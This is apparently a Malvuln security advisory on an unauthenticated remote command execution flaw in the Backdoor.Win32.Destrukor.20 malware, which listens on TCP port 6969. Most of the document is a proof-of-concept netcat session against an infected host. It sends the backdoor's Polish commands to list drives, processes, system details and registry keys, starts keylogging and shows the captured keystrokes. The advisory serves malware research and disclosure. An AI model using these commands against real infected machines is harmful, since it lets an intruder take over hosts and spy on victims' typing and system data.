Backdoor.Win32.Destrukor.20 MVID-2022-0627 Remote Command Execution

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Destrukor.20  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 6969. Third-party adversaries who can reach infected hosts can run commands made available by the backdoor. Remote attackers can read anything the victim types by starting the remote key log command "key_on". Some commands in Polish include "podglad", "dyski", "procesy", "wywiad", "rej_klucze1", "offserver" and many others.  
Family: Destrukor  
Type: PE32  
MD5: c790749f851d48e66e7d59cc2e451956  
Vuln ID: MVID-2022-0627  
Dropped files: sys32.exe  
Disclosure: 07/30/2022  
  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 6969  
podglad  
podglad_ok140922  
  
dyski  
C:\ - Dysk lokalny  
D:\ - CD-ROM  
  
procesy  
procesy  
C:\Windows\System32\sihost.exe  
C:\Windows\System32\svchost.exe  
C:\Windows\System32\taskhostw.exe  
C:\Windows\System32\ctfmon.exe  
C:\Windows\explorer.exe  
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe  
C:\Windows\System32\RuntimeBroker.exe  
C:\Windows\System32\RuntimeBroker.exe  
C:\Program Files\Process Hacker 2\ProcessHacker.exe  
C:\Windows\System32\vm3dservice.exe  
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe  
C:\Windows\System32\cmd.exe  
C:\Windows\System32\conhost.exe  
C:\Windows\System32\cmd.exe  
C:\Windows\System32\conhost.exe  
C:\Windows\System32\taskhostw.exe  
C:\Windows\System32\RuntimeBroker.exe  
C:\Windows\System32\dllhost.exe  
C:\Windows\System32\cmd.exe  
C:\Windows\System32\conhost.exe  
C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe  
C:\Windows\sys32.exe  
  
wywiad\r\n  
wywiad  
Windows 10 Enterprise  
gg  
DESKTOP-2C3IQHO  
192.168.18.125  
2852  
12778  
C:\WINDOWS  
2.0.0  
  
rej_klucze1  
AppEvents  
AppXBackupContentType  
Console  
Control Panel  
Environment  
EUDC  
Keyboard Layout  
Network  
Printers  
Software  
System  
Volatile Environment  
  
key_on  
@N@O@T@E@P@A@D@[Enter]  
@[L Ctrl]@A@[<-BckSpc]@[L Shift]@I@ @[L Shift]@D@O@N@T@ @L@I@K@E@ @Y@O@U@1 ===> "I DONT LIKE YOU"  
  
offserver  
  
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`